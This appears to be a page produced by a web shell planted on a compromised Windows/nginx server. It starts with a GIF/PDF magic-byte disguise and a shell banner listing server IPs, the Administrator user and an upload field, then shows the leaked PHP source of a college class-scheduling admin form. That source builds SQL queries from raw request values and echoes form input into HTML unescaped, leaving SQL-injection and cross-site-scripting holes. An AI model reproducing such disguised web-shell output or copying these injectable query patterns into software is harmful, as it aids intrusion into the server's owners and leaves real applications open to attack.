GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/Class/ |
Upload File : |
<? // Admin/Class/ClassAddForm.phpinc debugTrackBegin(); $f_classId = formValue('classId'); if ( !$f_classId ) $f_classId = 0; $f_courseId = formValue('courseId'); if ( !$f_courseId ) $f_courseId = 0; $f_parseData = formValue('parseData'); // Set max classmeeting rows. $f_maxMeetingRows = 20; // Get course info. $query = " SELECT courseId, courseNumber FROM course WHERE userId = ".$_SESSION['userId']." AND courseId = ".$f_courseId." "; $courseResult = query_do($query); d_Var('$courseResult',$courseResult,'d'); $courseCount = $_SESSION['qry']['count']; if (!$courseCount) { $f_error = 'The courseId ('.$f_courseId.') was not found in the database.<span class="pv_fl"> '.basename(__FILE__).':'.__LINE__.'</span>'; include('common/displayErrorsAndMessages.phpinc'); include('common/pageFooter.phpinc'); } // Get weekdays. $query = " SELECT weekdayId, weekday1 FROM `weekday` ORDER BY weekdayId "; $weekdayResult = query_do($query); $weekdayResultCount = $_SESSION['qry']['count']; if (!$weekdayResultCount) { $weekdayRow = ''; $f_error = 'No weekdays found in database.<span class="pv_fl"> '.basename(__FILE__).':'.__LINE__.'</span>'; include('common/displayErrorsAndMessages.phpinc'); include('common/pageFooter.phpinc'); } $headTitle = '_CST_ - Class Add'; $pageTitle = '_CST_<br>Class Add'; include('common/pageHeader.phpinc'); mysqli_data_seek($courseResult , 0); $courseRow = mysqli_fetch_assoc($courseResult); if ( $f_form != 'form_classAdd' ) { // This is a first time load of the form. if ( $f_classId != 0 ) { // Load the class data from the database. // SELECT class. $query = " SELECT classId, courseId, YRTR, RCclassId, classSection, studentProfilePoints, classProfilePoints, lastModified, modifiedBy FROM `class` WHERE classId = ".$f_classId." "; $classResult = query_do($query); $classResultCount = $_SESSION['qry']['count']; #printVar('$classResultCount',$classResultCount); if (!$classResultCount) { $classRow = ''; $f_error = 'The classId ('.$f_classId.') was not found in the database.<span class="pv_fl"> '.basename(__FILE__).':'.__LINE__.'</span>'; include('common/displayErrorsAndMessages.phpinc'); include('common/pageFooter.phpinc'); } mysqli_data_seek($classResult, 0); $classRow = mysqli_fetch_assoc($classResult); $f_RCclassId = $classRow['RCclassId']; $f_classSection = $classRow['classSection']; // SELECT classmeeting. $query = " SELECT classmeetingId, classId, classTimeDescription, classTimeStart, classTimeStop, classRoomBldg, classRoomNumber, classInstructor FROM `classmeeting` WHERE classId = ".$f_classId." ORDER BY classmeetingId "; $classmeetingResult = query_do($query); $classmeetingResultCount = $_SESSION['qry']['count']; $f_classDaysArray = array(); $f_classTimeDescriptionArray = array(); $f_classTimeStartArray = array(); $f_classTimeStopArray = array(); $f_classRoomBldgArray = array(); $f_classRoomNumberArray = array(); $f_classInstructorArray = array(); $rowIndex = 0; if ( $classmeetingResultCount ) { mysqli_data_seek($classmeetingResult, 0); while ($classmeetingRow = mysqli_fetch_assoc($classmeetingResult)) { // Get classmeeting days; $query = " SELECT classmeeting_weekday.weekdayId, weekday1 FROM `classmeeting_weekday` INNER JOIN `weekday` ON weekday.weekdayId = classmeeting_weekday.weekdayId WHERE classmeetingId = ".$classmeetingRow['classmeetingId']." ORDER BY classmeeting_weekday.weekdayId "; $classmeeting_weekdayResult = query_do($query); $classmeeting_weekdayResultCount = $_SESSION['qry']['count']; if ($classmeeting_weekdayResultCount) { $f_classDaysArray[$rowIndex] = ''; mysqli_data_seek($classmeeting_weekdayResult, 0); while ($classmeeting_weekdayRow = mysqli_fetch_assoc($classmeeting_weekdayResult)) { $f_classDaysArray[$rowIndex] .= $classmeeting_weekdayRow['weekday1']; } } $f_classTimeDescriptionArray[$rowIndex] = $classmeetingRow['classTimeDescription']; $f_classTimeStartArray[$rowIndex] = $classmeetingRow['classTimeStart']; $f_classTimeStopArray[$rowIndex] = $classmeetingRow['classTimeStop']; $f_classRoomBldgArray[$rowIndex] = $classmeetingRow['classRoomBldg']; $f_classRoomNumberArray[$rowIndex] = $classmeetingRow['classRoomNumber']; $f_classInstructorArray[$rowIndex] = $classmeetingRow['classInstructor']; $rowIndex += 1; } } for ($index=$rowIndex; $index<$f_maxMeetingRows; $index++) { $f_classDaysArray[$index] = ''; $f_classTimeDescriptionArray[$index] = ''; $f_classTimeStartArray[$index] = ''; $f_classTimeStopArray[$index] = ''; $f_classRoomBldgArray[$index] = ''; $f_classRoomNumberArray[$index] = ''; $f_classInstructorArray[$index] = ''; } /* */ } else { // if ( $f_classId != 0 ) // Set the class data to defaults. $f_RCclassId = ''; $f_classSection = ''; $f_classDaysArray = array(); $f_classTimeStartArray = array(); $f_classTimeStopArray = array(); $f_classRoomBldgArray = array(); $f_classRoomNumberArray = array(); $f_classInstructorArray = array(); for ($index = 0; $index<$f_maxMeetingRows; $index++) { $f_classDaysArray[] = ''; $f_classTimeStartArray[] = ''; $f_classTimeStopArray[] = ''; $f_classRoomBldgArray[] = ''; $f_classRoomNumberArray[] = ''; $f_classInstructorArray[] = ''; } } // if ( $f_classId != 0 ) } else { // if ( $f_form != 'form_classAdd' ) // This is a form reload. } // if ( $f_form != 'form_classAdd' ) $sectionTitle = '_CST_ - Add a class for '.$courseRow['courseNumber']; include('common/sectionHeader.phpinc'); include('common/sessionList.phpinc'); ?> <form action="<?=php_self()?>" method="post" name="form_classAdd" id="form_courseadd" style="display:inline;"> <input name="f_uuid" type="hidden" value="<?=uuid()?>" /> <input name="f_form" type="hidden" value="form_classAdd" /> <input name="f_task" type="hidden" value="Add" /> <input name="f_classId" type="hidden" value="<?=$f_classId?>" /> <input name="f_courseId" type="hidden" value="<?=$f_courseId?>" /> <input name="f_maxMeetingRows" type="hidden" value="<?=$f_maxMeetingRows?>" /> <br> <table border="0" class="grayborder pad5" cellpadding="0" cellspacing="0"> <? /* * / <tr> <td colspan="8" class="grayline"> <? if ($sessionCount) { ?> Session: <? include('common/sessionListSelect.phpinc'); } else { ?> No sessions available. <? } ?> <br> </td> </tr> /* */ ?> <tr> <td colspan="8" class="center grayline"> You can cut/paste rows from the class list: <textarea name="f_parseData" style="width:100%;"><?=$f_parseData?></textarea> <br> <input type="submit" name="f_subtask" value="Parse Class" class="small" /> <input type="submit" name="f_subtask" value="Cancel" class="small" /> </td> </tr> <tr> <td colspan="8" class="center grayline"> -- or -- </td> </tr> <tr> <td colspan="8" class="center"> <? if ( $f_classId ) { ?> Update the class information: <? } else { ?> Enter class information: <? } ?> </td> </tr> <tr> <td class="center" colspan="8"> <? if ( $f_classId ) { ?> <input type="submit" name="f_subtask" value="Update" class="small" /> <? } else { ?> <input type="submit" name="f_subtask" value="Add" class="small" /> <? } ?> <input type="submit" name="f_subtask" value="Cancel" class="small" /> </td> </tr> <tr> <th class="info center">ClassId</th> <th class="info center">Sec</th> <th class="info center">Days</th> <th class="info center">Start time</th> <th class="info center">Stop time</th> <th class="info center">Bldg</th> <th class="info center">Rm</th> <th class="info center">Instructor</th> </tr> <? for ($meetingRow=0; $meetingRow<$f_maxMeetingRows; $meetingRow++) { ?> <tr> <? if ( $meetingRow == 0 ) { ?> <td class="center pad0"> <!-- ClassId --> <input type="text" name="f_RCclassId" value="<?=$f_RCclassId?>" style="width:4em;" maxlength="6" /> </td> <td class="center pad0"> <!-- Section --> <input type="text" name="f_classSection" value="<?=$f_classSection?>" style="width:1.3em;" maxlength="2" /> </td> <? } else { // if ( $meetingRow == 0 ) ?> <td class="center pad0 right silver" colspan="2"> #<?=$meetingRow+1?> </td> <? } // if ( $meetingRow == 0 ) ?> <td class="center pad0"> <!-- Days --> <input type="text" name="f_classDays[]" value="<?=$f_classDaysArray[$meetingRow]?>" style="width:3.3em; font-family:'Courier New', Courier, monospacel" maxlength="7" /> </td> <td class="center pad0"> <!-- Start --> <input type="text" name="f_classTimeStart[]" value="<?=valid_time($f_classTimeStartArray[$meetingRow])?>" style="width:4.5em;" /> </td> <td class="center pad0"> <!-- Stop --> <input type="text" name="f_classTimeStop[]" value="<?=valid_time($f_classTimeStopArray[$meetingRow])?>" style="width:4.5em;" /> </td> <td class="center pad0"> <!-- Bldg --> <input type="text" name="f_classRoomBldg[]" value="<?=$f_classRoomBldgArray[$meetingRow]?>" style="width:2.5em;" /> </td> <td class="center pad0"> <!-- Room --> <input type="text" name="f_classRoomNumber[]" value="<?=$f_classRoomNumberArray[$meetingRow]?>" style="width:2.2em;" /> </td> <td class="center pad0"> <!-- Instructor --> <input type="text" name="f_classInstructor[]" value="<?=$f_classInstructorArray[$meetingRow]?>" style="width:12em;" /> </td> </tr> <? } // for ($meetingRow=0; $meetingRow<$f_maxMeetingRows; $meetingRow++) ?> <tr> <td class="center" colspan="8"> <? if ( $f_classId ) { ?> <input type="submit" name="f_subtask" value="Update" class="small" /> <? } else { ?> <input type="submit" name="f_subtask" value="Add" class="small" /> <? } ?> <input type="submit" name="f_subtask" value="Cancel" class="small" /> </td> </tr> </table> </form> <? include('common/sectionFooter.phpinc'); debugTrackEnd(); setDebugOn(); include('common/pageFooter.phpinc'); ?>